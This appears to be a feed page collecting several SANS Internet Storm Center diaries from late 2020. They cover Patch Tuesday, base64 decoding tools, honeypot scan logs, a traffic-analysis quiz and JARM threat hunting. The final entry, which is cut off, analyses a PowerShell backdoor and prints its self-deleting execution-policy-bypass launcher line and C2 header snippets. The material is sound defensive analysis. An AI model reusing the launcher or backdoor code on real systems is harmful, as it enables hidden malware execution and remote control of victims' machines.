SANS

Subscribe to SANS hírcsatorna SANS
SANS Internet Storm Center - Cooperative Cyber Security Monitor
Frissítve: 1 óra 49 perc
2020. december 8.

December 2020 Microsoft Patch Tuesday: Exchange, Sharepoint, Dynamics and DNS Spoofing, (Tue, Dec 8th)

December 2020 Microsoft Patch Tuesday: Exchange, Sharepoint, Dynamics, and DNS SpoofingFor the last Patch Tuesday of the year, Microsoft provided updates fixing 58 vulnerabilities, which is at the low end of what we have seen this year. 9 of the vulnerabilities are rated critical.

The largest CVSS score is 8.8 this month, which was assigned to vulnerabilities affecting Microsoft Dynamics. The 6 vulnerabilities in Microsoft Exchange should also not be ignored. One of the vulnerabilities is an information disclosure problem. But the other 5 vulnerabilities are remote code execution issues. Note that older Exchange vulnerabilities still remain unpatched at some organizations and have been used in attacks this last year. 

Sharepoint remains another regular participant in patch Tuesday with two remote code execution vulnerabilities, one reaching a CVSS score of 8.8.

In addition, Microsoft released an advisory regarding a DNS spoofing vulnerability. This DNS spoofing issue involves fragmentation, but Microsoft is not very specific as to the exact methodology. There have been a few different fragmentation related cache spoofing issues that people have written about in the last few years. The workaround is to avoid fragmentation by reducing the buffer size to 1221 bytes, which should be small enough to not cause fragmentation. As a side effect of the workaround, you may see more TCP port 53 traffic to your DNS servers.

I did not see an advisory regarding Adobe Flash. This would be the last month for an Adobe Flash advisory which will officially be retired at the end of the year.

Patch Tuesday Dashboard: https://patchtuesdaydashboard.com/

Description CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG) Azure DevOps Server Spoofing Vulnerability %%cve:2020-17135%% No No Less Likely Less Likely Important 6.4 5.6 Azure DevOps Server and Team Foundation Services Spoofing Vulnerability %%cve:2020-17145%% No No Less Likely Less Likely Important 5.4 4.7 Azure SDK for C Security Feature Bypass Vulnerability %%cve:2020-17002%% No No Less Likely Less Likely Important 7.4 6.4 Azure SDK for Java Security Feature Bypass Vulnerability %%cve:2020-16971%% No No Less Likely Less Likely Important 7.4 6.4 Azure Sphere Security Feature Bypass Vulnerability %%cve:2020-17160%% No No Less Likely Less Likely Important 7.4 6.4 Chakra Scripting Engine Memory Corruption Vulnerability %%cve:2020-17131%% No No Less Likely Less Likely Critical 4.2 3.8 DirectX Graphics Kernel Elevation of Privilege Vulnerability %%cve:2020-17137%% No No Less Likely Less Likely Important 7.8 6.8 Dynamics CRM Webclient Cross-site Scripting Vulnerability %%cve:2020-17147%% No No Less Likely Less Likely Important 8.7 7.6 Hyper-V Remote Code Execution Vulnerability %%cve:2020-17095%% No No Less Likely Less Likely Critical 8.5 7.4 Kerberos Security Feature Bypass Vulnerability %%cve:2020-16996%% No No Less Likely Less Likely Important 6.5 5.7 Microsoft Dynamics 365 for Finance and Operations (on-premises) Remote Code Execution Vulnerability %%cve:2020-17152%% No No More Likely More Likely Critical 8.8 7.7 %%cve:2020-17158%% No No More Likely More Likely Critical 8.8 7.7 Microsoft Dynamics Business Central/NAV Information Disclosure %%cve:2020-17133%% No No Less Likely Less Likely Important 6.5 5.7 Microsoft Edge for Android Spoofing Vulnerability %%cve:2020-17153%% No No Less Likely Less Likely Moderate 4.3 3.9 Microsoft Excel Information Disclosure Vulnerability %%cve:2020-17126%% No No Less Likely Less Likely Important 5.5 4.8 Microsoft Excel Remote Code Execution Vulnerability %%cve:2020-17122%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17123%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17125%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17127%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17128%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17129%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft Excel Security Feature Bypass Vulnerability %%cve:2020-17130%% No No Less Likely Less Likely Important 6.5 5.7 Microsoft Exchange Information Disclosure Vulnerability %%cve:2020-17143%% No No Less Likely Less Likely Important 8.8 7.9 Microsoft Exchange Remote Code Execution Vulnerability %%cve:2020-17117%% No No Less Likely Less Likely Critical 6.6 5.9 %%cve:2020-17132%% No No Less Likely Less Likely Critical 8.4 7.6 %%cve:2020-17141%% No No Less Likely Less Likely Important 8.4 7.6 %%cve:2020-17142%% No No Less Likely Less Likely Critical 8.4 7.6 %%cve:2020-17144%% No No More Likely More Likely Important 8.4 7.6 Microsoft Guidance for Addressing Spoofing Vulnerability in DNS Resolver ADV200013 No No Less Likely Less Likely Important     Microsoft Outlook Information Disclosure Vulnerability %%cve:2020-17119%% No No Less Likely Less Likely Important 6.5 5.9 Microsoft PowerPoint Remote Code Execution Vulnerability %%cve:2020-17124%% No No Less Likely Less Likely Important 7.8 6.8 Microsoft SharePoint Elevation of Privilege Vulnerability %%cve:2020-17089%% No No Less Likely Less Likely Important 7.1 6.4 Microsoft SharePoint Information Disclosure Vulnerability %%cve:2020-17120%% No No Less Likely Less Likely Important 5.3 4.6 Microsoft SharePoint Remote Code Execution Vulnerability %%cve:2020-17118%% No No More Likely More Likely Critical 8.1 7.3 %%cve:2020-17121%% No No More Likely More Likely Critical 8.8 7.7 Microsoft SharePoint Spoofing Vulnerability %%cve:2020-17115%% No No Less Likely Less Likely Moderate 8.0 7.0 Visual Studio Code Java Extension Pack Remote Code Execution Vulnerability %%cve:2020-17159%% No No Less Likely Less Likely Important 7.8 6.8 Visual Studio Code Remote Code Execution Vulnerability %%cve:2020-17150%% No No Less Likely Less Likely Important 7.8 6.8 Visual Studio Code Remote Development Extension Remote Code Execution Vulnerability %%cve:2020-17148%% No No Less Likely Less Likely Important 7.8 6.8 Visual Studio Remote Code Execution Vulnerability %%cve:2020-17156%% No No Less Likely Less Likely Important 7.8 6.8 Windows Backup Engine Elevation of Privilege Vulnerability %%cve:2020-16958%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16959%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16960%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16961%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16962%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16963%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-16964%% No No Less Likely Less Likely Important 7.8 6.8 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability %%cve:2020-17103%% No No Less Likely Less Likely Important 7.0 6.1 %%cve:2020-17134%% No No Less Likely Less Likely Important 7.8 6.8 %%cve:2020-17136%% No No Less Likely Less Likely Important 7.8 6.8 Windows Digital Media Receiver Elevation of Privilege Vulnerability %%cve:2020-17097%% No No Less Likely Less Likely Important 3.3 2.9 Windows Error Reporting Information Disclosure Vulnerability %%cve:2020-17094%% No No Less Likely Less Likely Important 5.5 4.8 %%cve:2020-17138%% No No Less Likely Less Likely Important 5.5 4.8 Windows GDI+ Information Disclosure Vulnerability %%cve:2020-17098%% No No Less Likely Less Likely Important 5.5 4.8 Windows Lock Screen Security Feature Bypass Vulnerability %%cve:2020-17099%% No No Less Likely Less Likely Important 6.8 5.9 Windows NTFS Remote Code Execution Vulnerability %%cve:2020-17096%% No No More Likely More Likely Important 7.5 6.5 Windows Network Connections Service Elevation of Privilege Vulnerability %%cve:2020-17092%% No No Less Likely Less Likely Important 7.8 6.8 Windows Overlay Filter Security Feature Bypass Vulnerability %%cve:2020-17139%% No No Less Likely Less Likely Important 7.8 6.8 Windows SMB Information Disclosure Vulnerability %%cve:2020-17140%% No No Less Likely Less Likely Important 8.1 7.1

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 8.

ISC Stormcast For Tuesday, December 8th 2020 https://isc.sans.edu/podcastdetail.html?id=7282, (Tue, Dec 8th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 7.

Corrupt BASE64 Strings: Detection and Decoding, (Mon, Dec 7th)

My base64dump tool's goals are first to detect BASE64 encoded strings (and other encodings), and second to help with the decoding.

In diary entry "Decoding Corrupt BASE64 Strings" I showed how to detect and decode a corrupt BASE64 string in one single step.

There was a very interesting and detailed reader comment on this diary entry, giving more examples of possible BASE64 corruption and how to deal with them.

In this diary entry, I'm going to cover detection and decoding in more detail.

base64dump.py is a tool that I started to find BASE64 strings inside binary files, like process dumps and PE files. Current versions support much more encodings than BASE64 (like hexadecimal). In large binary files, it can be hard to find BASE64 strings, even with the strings command. So that's the first goal of base64dump: detect the presence of encoded strings.

Let's take a look at a couple of examples. I start with a BASE64 string (aGVsbG8sIHdvcmxk, this decodes to "hello, world") surrounded by binary data (0xE9 bytes). This is my sample binary file containing a small BASE64 string:

base64dump can detect this BASE64 string inside this binary file:

So that the first goal: detection. The second goal is also visualized here: you can see the start of the decoded data.

Now, let's work with a corrupt BASE64 string. I created a sample where I replaced the last character of the BASE64 string with a byte that is not a BASE64 character (0xE9):

base64dump does not detect this corrupt BASE64 string:

The reason is that this string is a sequence of BASE64 characters: 15 characters long, but a valid BASE64 string has a length that is always a multiple of 4. 15 is not a multiple of 4, thus the string is not a valid BASE64 string and base64dump does not detect it.

Since I use my tool base64dump to detect strings like BASE64 strings, I would also want it to detect BASE64 strings with small corruptions, like one or more characters extra or less at the start or end of the string. That's why I added option -p (process) to base64dump:

With option -p, one can preprocess strings before they are decoded. This preprocessing is done via a Python function. The value of option -p, is a Python function that will preprocess strings. One of the builtin functions that help with this is L4: L4 is a function that takes a sequence of bytes as input, and returns a truncated sequence so that its lengths is a multiple of 4 (L4 = Length 4). If the input has a length that is a multiple of 4, then the input is returned unchanged.

When I use option -p with Python function L4, the corrupt BASE64 string is detected:

The advantage of this option, is that corrupt strings are also detected. You can see that the Size of the detected string is 12: that's 15 decreased to the nearest multiple of 4 (12). That is the result of function L4. base64dump finds a sequence of BASE64 characters that is 15 characters long, and thus it would be ignored. However, because of preprocessing with function L4, this sequence is truncated to 12 characters, and now it is detected.

That's the first goal: detect encoded data.

Now, in this example, not only was this corrupt BASE64 detected, but it was also decoded into data that is meaningful to us: "hello, wo".

So from this result, we know that there is indeed a BASE64 string inside that binary file, that it is corrupt, for some reason, and that the corruption happened at the end of the string. We know that because we can recognize the decoded value ("hello, ..."), and because we can understand that something is missing at the end of the decoded value.

So now that we have detected (and partially decoded), we can try to "repair" the corrupt string.

First simple test to do for this example, is to add one BASE64 character to the end of the detected BASE64 string. This too can be done with option -p, by using a lambda function that adds character/byte A to the end of its input:

Now we see some extra info: "rl@" was appended to "wo". And this confirms that we are indeed missing a character. If we would be missing 2 characters, then base64dump would not detect this. We would need to add 2 characters. Now, I also recommend to use function L4 when adding characters: this way, you'll allways end up with a valid BASE64 string:

The @ character is added because we added BASE64 character A (this represents 6 zero bits). We could also add a padding character (=):

This was an example with a corrupt character at the end of the BASE64 string.

Let's now do the same with a corrupt character at the beginning of the BASE64 string. Here I replace the first character a with a byte (0xE9):

base64dump does not detect this string:

But it does detect it when we use option -p with function L4:

This time, the BASE64 string is detected. But it is not decoded properly: we can not make sense of the decoded value. This is because we are missing one character from the beginning of the BASE64 string: one BASE64 character represents 6 bits, and thus our decoded value is shifted by 6 bits. That's why the decoded value doesn't make sense.

The solution: shift the output by 6 bits. I will show how to bit-shift the output from base64dump with my tool translate, but here I'm going to shift the output by prepending one BASE64 character:

Now the decoded value makes sense to us: there was indeed one character missing at the beginning of the BASE64 string.

If you don't get recognizable output by adding one character, then try adding 2 and 3 characters. If you still don't recognize anything, then either the BASE64 string is not actually encoding anything, or the decoded value needs to be further decoded (decompressed, decrypted, ...). This is something you could try to determine by calculating the entropy of the decoded value, for example.

We looked at BASE64 strings that were corrupt because there was one (or more) character(s) missing from the beginning or ending of the string.

Another possibility, is that there are extra characters, in stead of missing characters.

In this example, I prepend an extra character (x):

When I use base64dump, the BASE64 string is not detected:

And when I preprocess the input with function L4, the string gets detected:

But it doesn't decode to anything we recognize. So either this is a fluke, and we are not dealing with a meaningful BASE64 string, or it is not a fluke and we need to do some more processing to try to decode the value.

I could start by adding characters at the beginning until I see something recognizable, but this time, I'll do the opposite and remove characters, by using a Python slice: bytes[1:], e.g. remove the first byte from bytes. Like this:

And again, we see some meaningful data.

If we don't succeed with removing one character, then try 2 and 3 characters.

One can also remove from the end, for example one character: bytes[:-1]

 

I'll stop now giving examples, and I hope these simple examples illustrate how you can use my base64dump tool with option -p to 1) improve detection and 2) steer decoding.

Of course, this is a trial-and-error process. Usually, you don't know if a BASE64 string was corrupted, and if it is corrupt, how it became corrupt.

Corrupt BASE64 strings are not necessarily caused by an error (like a transmission or decoding error).

They can also be voluntary, to hinder analysis.

Or they can just happen randomly, especially when you are dealing with a binary file like a process memory dump. Inside that dump, it is perfectly possible, for example, that an existing BASE64 string (the one you are looking for, the one that encodes a malicious PowerShell command) is preceded by a 32-bit integer, and that the last byte of that integer is a valid BASE64 character. That character is right before the BASE64 string, and thus it will appear to make the BASE64 string longer by one character: and you end up with a "corrupt" BASE64 string.

In the examples here, we talked about corruption happening at the start or the beginning. It can also happen somewhere inside the BASE64 string, for example in the middle. In that case, you'll end up with 2 (corrupt) BASE64 strings, and you will need to decode them like I explained here, and then put them together.

 

 

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 7.

ISC Stormcast For Monday, December 7th 2020 https://isc.sans.edu/podcastdetail.html?id=7280, (Mon, Dec 7th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 6.

oledump's Indicators, (Sun, Dec 6th)

My tool oledump uses indicators, you're probably most familiar with indicators M and m that indicate that a stream contains macros.

Here is an overview of all possible indicators:

  • M: Macro (attributes and code)
  • m: macro (attributes without code)
  • E: Error (code that throws an error when decompressed)
  • !: Unusual macro (code without attributes)
  • O: object (embedded file)
  • .: storage
  • R: root entry

If you want to know more, I recorded this video:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 5.

Is IP 91.199.118.137 testing Access to aahwwx.52host.xyz?, (Sat, Dec 5th)

Scanning by IP 91.199.118.137 (first reported in DShield end September) began early this morning which appears to be testing access to site aahwwx.52host.xyz [2] and currently there is little information available for this host. The scan is alternating between ports TCP/81 and TCP/8088. Domaintools [7] shows the root domain 52host.xyz was last updated yesterday.

The only information currently available for this site is "Welcome to nginx!"

Log Examples

20201204-225750: 192.168.25.9:8088-91.199.118.137:18360 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201204-235739: 192.168.25.9:81-91.199.118.137:10406 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201205-023633: 192.168.25.9:8088-91.199.118.137:57015 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-033442: 192.168.25.9:81-91.199.118.137:57171 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
[...]
20201205-095707: 192.168.25.9:8088-91.199.118.137:52994 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-105705: 192.168.25.9:81-91.199.118.137:36560 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'

Indicators with ASN

91.199.118.137:12542/19gtaf/1.txt
aahwwx.52host.xyz
2606:4700:3031::6812:35a7 -> AS13335
2606:4700:3037::ac43:b70a -> AS13335
2606:4700:3036::6812:34a7
104.18.52.167 -> AS13335
172.67.183.10 -> AS42861
104.18.53.167 -> AS13335
91.199.118.137 -> AS62240

[1] https://isc.sans.edu/ipdetails.html?ip=91.199.118.137&34475
[2] https://www.robtex.com/dns-lookup/aahwwx.52host.xyz
[3] https://bgp.he.net/AS42861
[4] https://bgp.he.net/AS13335
[5] https://bgp.he.net/AS62240
[6] https://www.robtex.com/ip-lookup/91.199.118.137#analysis
[7] https://whois.domaintools.com/52host.xyz

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 4.

Detecting Actors Activity with Threat Intel, (Fri, Dec 4th)

Over the past three weeks I have applied threat intel to all the inbound traffic going to my honeypot and the stats have shown some interesting trends. The top 20 TCP ports targeted have been between 1-50 and top 20 UDP 7-11211. During this period, the sensor recorded over 301K indicators matching threat intel from known actors.

A Look at the Top 3 IPs

The port the most targeted over that period has been the Telnet (TCP/23) service with over 97% of the traffic.

As a security practitioner, I have stopped using Telnet years ago (a honeypot being the exception). To find out how widespread Telnet is available, a query for this service on Shodan[4] shows there are still thousand of host showing this port as open and/or active. This map from Censys [8] illustrate a list of 2090422 hosts matched the search query where Telnet was open. Censys only shows the first 500 locations on the map.

IP 207.244.234.226 launched a large scan on the 30 Nov (12:00-06:00) lasting for 6 hours actively scanning various TCP ports multiple times (46836 records). However, IP 88.214.24.77 has been a lot more consistent over time, scanning mostly TCP ports between 1000-1100 illustrated below:

The third IP 5.182.210.95 has been scanning a single port over the past few and it is MemoryCache (UDP/11211). This source was first report in DShield on the 14 Nov 2020 with a last report today. The reports in DShield are mostly against LDAP (UDP/389) and only one record for 11211.

Last, this is the list of top 10 IPs with Intel source, techniques and total.

Two freely and widely available intel platform Anomali Staxx[1] after registration is available for download and installed locally (has API) and AlienVault[2] can be accessed via API and is widely supported.

[1] https://www.anomali.com/resources/staxx
[2] https://otx.alienvault.com/
[3] https://isc.sans.edu/port.html?port=23
[4] https://www.shodan.io/search?query=telnet
[5] https://isc.sans.edu/ipinfo.html?ip=207.244.234.226
[6] https://isc.sans.edu/ipinfo.html?ip=88.214.24.77
[7] https://isc.sans.edu/ipinfo.html?ip=5.182.210.95
[8] https://censys.io/ipv4/map?q=protocols%3A+("23%2Ftelnet")

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 4.

ISC Stormcast For Friday, December 4th 2020 https://isc.sans.edu/podcastdetail.html?id=7278, (Fri, Dec 4th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 3.

Traffic Analysis Quiz: Mr Natural, (Thu, Dec 3rd)

Introduction

It's time for another ISC traffic analysis quiz!  Like previous quizzes, we have traffic and alerts from an infected Windows computer.  This month's quiz consists of:

  • a packet capture (pcap) of infection traffic
  • a image of the alerts shown in Squil
  • a text file listing the alerts with a few more details
  • a PDF document with answers to the questions below.

The alerts were created using Security Onion running Suricata using the EmergingThreats Pro ruleset, viewed through Sguil.

You can find the pcap, alerts, and answers here.  Don't peek at the answers just yet!

Environment and quiz questions

The environment where this infection takes place:

  • LAN segment range: 10.12.1.0/24 (10.12.1.0 thru 10.12.1.255)
  • Domain: mrnatural.info
  • Domain controller: 10.12.1.2 - MrNatural-DC
  • LAN segment gateway: 10.12.1.1
  • LAN segment broadcast address: 10.12.1.255

Here are questions to answer based on the pcap and the alerts:

  • What is the IP address of the infected Windows host?
  • What is the MAC address of the infected Windows host?
  • What is the host name of the infected Windows host?
  • What is the Windows user account name used on the the infected Windows host?
  • What is the date and time of this infection?
  • What is the SHA256 hash of the EXE or DLL that was downloaded from 5.44.43.72?
  • Which two IP addresses and associated domains have HTTPS traffic with "Internet Widgets Pty" as part of the certificate data?
  • Based on the alert for CnC (command and control) traffic, what type of malware caused this infection?

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  This pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So beware, because there's actual malware involved for this exercise.

Final words

Again, files associated with this quiz (pcap, alerts, and answers) can be found here.

If you found this fun, we have previous traffic analysis quizzes:

---
Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 3.

ISC Stormcast For Thursday, December 3rd 2020 https://isc.sans.edu/podcastdetail.html?id=7276, (Thu, Dec 3rd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 2.

ISC Stormcast For Wednesday, December 2nd 2020 https://isc.sans.edu/podcastdetail.html?id=7274, (Wed, Dec 2nd)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. december 1.

ISC Stormcast For Tuesday, December 1st 2020 https://isc.sans.edu/podcastdetail.html?id=7272, (Tue, Dec 1st)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 30.

Decrypting PowerShell Payloads (video), (Mon, Nov 30th)

PowerShell scripts are often used to deliver malicious payloads: shellcode, another PowerShell script, reflective DLL, …

And you've probably encountered malicious scripts with an encrypted payload, for example encrypted with AES.

In a video I created, I show how to decrypt a typical encrypted payload with my tools base64dump and translate.

The command I use in the video is:

base64dump.py -n 20 -s 2 -d example.ps1.vir | translate.py -e "keybase64 = b'zDYGjpptXWqJootb7OdcR/JaGJswRA3EywKlPTHHZMQ='" -s decrypt.py -f "Decrypt" | translate.py -f "GzipD"

The content of decrypt.py I use in the video is here:


from Crypto.Cipher import AES
from Crypto.Util import Padding

def Decrypt(data):
    iv = data[0:16]
    ciphertext = data[16:]
    key = binascii.a2b_base64(keybase64)
    oAES = AES.new(key, AES.MODE_CBC, iv)
    return Padding.unpad(oAES.decrypt(ciphertext), 16)

This small script uses crypto functions from pycryptodome.

If you want to try for yourself, I shared the example PowerShell script on pastebin.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 30.

ISC Stormcast For Monday, November 30th 2020 https://isc.sans.edu/podcastdetail.html?id=7270, (Mon, Nov 30th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 29.

Quick Tip: Using JARM With a SOCKS Proxy, (Sun, Nov 29th)

Rik talked about JARM yesterday "Threat Hunting with JARM".

JARM is a tool to fingerprint TLS servers.

I made some changes to the JARM code to support a SOCKS proxy.

Now I can use JARM over Tor, for example:

You will miss information when you use a SOCKS proxy: the resolved IP, in case you use a domain name.

And on Linux, there are other methods to achieve this.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 27.

Threat Hunting with JARM, (Fri, Nov 27th)

Recently I have been testing a new tool created by the people at Salesforce.  The tool is called JARM and what it does is query TLS instances (HTTPS servers and services) to create a fingerprint of their TLS configuration.  Much like analyzing the nuances of network traffic can be used to fingerprint the operating system and version of a server, JARM fingerprints TLS instances  to create a fingerprint which can be used to compare one TLS service to another.


The JARM repository on github provides two executable files.  The first jarm.py can be used to create a fingerprint for any TLS enabled service. The second jarm.sh is used to automate a JARM scan across a range of IPs.  For example the fingerprint for isc.sans.edu can be generated as follows:

$ python3 jarm.py isc.sans.edu Domain: isc.sans.edu Resolved IP: 45.60.103.34 JARM: 29d29d00029d29d00041d41d0000005d86ccb1a0567e012264097a0315d7a7

JARM can be used for a number of purposes.  As the Salesforce blog post says:

“JARM fingerprints can be used to:

  • Quickly verify that all servers in a group have the same TLS configuration.
  • Group disparate servers on the internet by configuration, identifying that a server may belong to Google vs. Salesforce vs. Apple, for example.
  • Identify default applications or infrastructure.
  • Identify malware command and control infrastructure and other malicious servers on the Internet.”

Shodan has integrated JARM and has generated JARM fingerprints for all TLS instances they have discovered and integrated them into a Shodan facet.  You can query Shodan’s JARM results from the Shodan web tool, or from any Linux with Python installed you can use the Shodan command line, or use the Shodan API, to query fingerprints

So how can this be used to detect malware deployments?  Well it turns out that the when malware deploys a TLS enabled service the fingerprints tend to stay the same across multiple deployments.  The JARM developers have given us the fingerprints for a number of common malware families.

Using this information you could create a script to run across your address space and compare the computed fingerprints to the known malware fingerprints or you could just use Shodan to do this comparison.  In this example below I am using the Shodan command line to query the JARM results for AS209 and comparing the result to the fingerprint for Cobalt Strike (a red team tool often dropped by emotet and other malware onto compromised servers).

$ shodan search asn:as209 ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 184.99.37.107 443 HTTP/1.1 403 Forbidden\r\nContent-Length: 310\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 71.37.172.120 443 71-37-172-120.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 71.37.172.123 443 71-37-172-123.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 97.122.203.173 443 97-122-203-173.hlrn.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 303\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 174.16.120.233 443 174-16-120-233.hlrn.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 309\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 65.144.105.2 443 mail.strataproducts.com HTTP/1.1 403 Forbidden\r\nContent-Length: 314\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 65.144.105.6 443 HTTP/1.1 200 OK\r\nCache-Control: private\r\nContent-Type: text/html; charset=utf-8\r\nServer: Microsoft-IIS/7.5\r\nSet-Cookie: ASP.NET_SessionId=vpxjjrrzezdnobjeacvfff45; path=/; HttpOnly\r\nX-AspNet-Version: 2.0.50727\r\nX-Powered-By: ASP.NET\r\nDate: Sun, 22 Nov 2020 02:31:11 GMT\r\nContent-Length: 47074\r\n\r\n 65.144.7.67 443 HTTP/1.1 403 Forbidden\r\nContent-Length: 352\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n 71.222.37.196 443 71-222-37-196.lsv2.qwest.net HTTP/1.1 403 Forbidden\r\nContent-Length: 316\r\nContent-Type: text/html\r\nConnection: Close\r\n\r\n

I have to believe there have to be some false positives in the results, but it gives you a  place to start.

For more information on JARM, please check out the Salesforce JARM blog post 

For downloading, JARM can be found on github.
 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 25.

Live Patching Windows API Calls Using PowerShell, (Wed, Nov 25th)

It's amazing how attackers can be imaginative when it comes to protecting themselves and preventing security controls to do their job. Here is an example of a malicious PowerShell script that patches live a DLL function to change the way it works (read: "to make it NOT work"). This is not a new technique but it has been a while that I did not find it so, it deserves a quick review.

The original script has been spotted on Virustotal (SHA256:b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54)[1] with a nice low score (3/60). The original file is interesting because it's a "bat" command line script and a PowerShell script at the same time:

# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -noProfile -ExecutionPolicy bypass "[IO.File]::ReadAllText('%~f0')|iex" & DEL "%~f0" & POPD /B

The environment variable '%~f0' will expand to the complete path of the script (ex: "C:\Temp\malicious.bat"). It is passed to PowerShell which will ignore the first line (starting with the '#'). The script will be deleted once PowerShell completed. Note, '%~dp0' will expand to the drive letter and path of that batch file.

The script itself is obfuscated inside a Base64-encoded string. First, it's a backdoor that tries to execute commands returned by the contacted C2 server. The HTTP connection is built in a specific way to talk to the server:

It requires a specific User-Agent:

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; $eBdd.HEadeRS.ADd('User-Agent',$u);

It tries to connect through the proxy configured in the system:

$EBdD.Proxy=[SYsTeM.NEt.WEBREqUeSt]::DeFAULtWEbProxY; $ebdd.ProxY.CreDeNTIALS = [SyStEM.Net.CredeNTiAlCAche]::DeFauLTNETWoRKCreDeNtIalS;

A cookie is required:

$eBdd.HeAdErs.Add("Cookie","session=i9jI6+TRpy75U2v68M56EtGXOWE=");

The C2 address is obfuscated:

